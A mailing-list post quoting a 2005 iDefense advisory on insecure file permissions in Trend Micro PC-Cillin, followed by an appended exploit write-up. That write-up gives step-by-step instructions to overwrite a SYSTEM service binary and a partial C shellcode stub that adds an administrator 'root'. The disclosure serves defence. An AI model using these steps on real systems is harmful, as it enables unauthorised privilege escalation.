Re: [Full-disclosure] iDefense Security Advisory 12.14.05: Trend Micro PC-Cillin Internet Security Insecure File Permission Vulnerability

labs-no-reply@xxxxxxxxxxxx wrote:

Trend Micro PC-Cillin Internet Security Insecure File Permission Vulnerability

iDefense Security Advisory 12.14.05
December 14, 2005


Trend Micro PC-Cillin Internet Security is antivirus protection software
for home and business use. It provides complete protection, detection
and elimination of thousands of computer viruses, worms, and Trojan
Horse programs.


Local exploitation of an insecure permission vulnerability in multiple
Trend Micro Inc. products allows attackers to escalate privileges or
disable protection.

The vulnerabilities specifically exist in the default Access Control
List (ACL) settings that are applied during installation. When an
administrator installs an affected Trend Micro product, the default ACL
allows any user to modify the installed files. Due to the fact that some
of the programs run as system services, a user could replace an
installed Trend Micro product file with their own malicious code, and
the code would be executed with system privileges.


Successful exploitation allows local attackers to escalate privileges to
the system level. It is also possible to use this vulnerability to
simply disable protection by moving all of the executable files so that
they cannot start upon a reboot. Once disabled, the products are no
longer able to provide threat mitigation, thus opening the machine up to


iDefense has confirmed the existence of this vulnerability in Trend
Micro PC-Cillin Internet Security 2005 version 12.00 build 1244. It is
suspected that previous versions are also vulnerable. It has been
reported that InterScan VirusWall, InterScan eManager and Office Scan
are also vulnerable.


Apply proper Access Control List settings to the directory that the
affected Trend Micro product is installed in. The ACL rules be set so
that no regular users can modify files in the directory.


"Trend Micro has become aware of a vulnerability related to PC-CILLIN
12. PC-cillin12 does not work correctly when configuration file and the
registry are erased intentionally.

We will release PC-cillin12.4 in December 14, 2005 by AU server. This
release will be included short term solution of changing ACL to User
authority for configuration file and registry.


We will create a tool for changing ACL to User authority for
configuration file and registry.

This tool can be used for both PC-cillin12 and PC-cillin14 as a same


The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2005-3360 to this issue. This is a candidate for inclusion in
the CVE list (, which standardizes names for
security problems.


10/27/2005 Initial vendor notification
10/27/2005 Initial vendor response
12/14/2005 Public disclosure


The discoverer of this vulnerability wishes to remain anonymous.

Get paid for vulnerability research


Copyright © 2005 iDefense, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice@xxxxxxxxxxxx for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.

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* by Team W00dp3ck3r:
* frauk\x41iser, mag00n and s00n
* Advisory:
* Tested on Windows XP Service Pack 2 english
* Version affected PC-cillin Internet Security 2006
* Status: currently no patch has been provided (19.12.2005)
* Follow the instructions to gain administrative privileges:
* 1.) Default Installation (can only be accomplished as Administrator).
* 2.) Login is as restricted user.
* 3.) Compile the c code provided at the bottom of this document.
* 4.) Right click on the Trend Micro icon in the taskbar and shut down Trend Micro * (Seems that Trend has forgotten that normal users should not be able to * shutdown an antivirus service).
* 5.) Fire up your favorite editor and open the previous compiled exe (we recommend * UltraEdit) and also open TmPfw.exe which is located in the default installation * directory of your Trend Micro installation. * 6.) First copy the content of the TmPfw.exe into a blank document and save it. * We will need it later, when we want to repair the service.
* 7.) Now replace the content of the TmPfw.exe file with the content of the self * compiled executable.
* Note: It is really important to alter the content of the TmPfw.exe file. If you * just change the filename of the created executable and then replace the * file, the initial rights which are set during the installation would be lost.
* The TmPfw.exe file is executed with SYSTEM rights during startup process of * Windows and it's under our control, because Trend Micro really messed up with
* the permissions. *
* 8.) Restart the pccmain.exe and if you type net user in your command shell you will
* notice a user with administrative rights called root.
* 9.) Finally open the editor again and restore the content of the TmPfw.exe. Now * Trend Micro works again without complaining.

#include "windows.h"

/* win32_adduser - PASS=root EXITFUNC=thread USER=root Size=232 * Encoder=PexFnstenvSub */

unsigned char shellcode[] =

void (*opcode)();

void main(){
	opcode= &shellcode;

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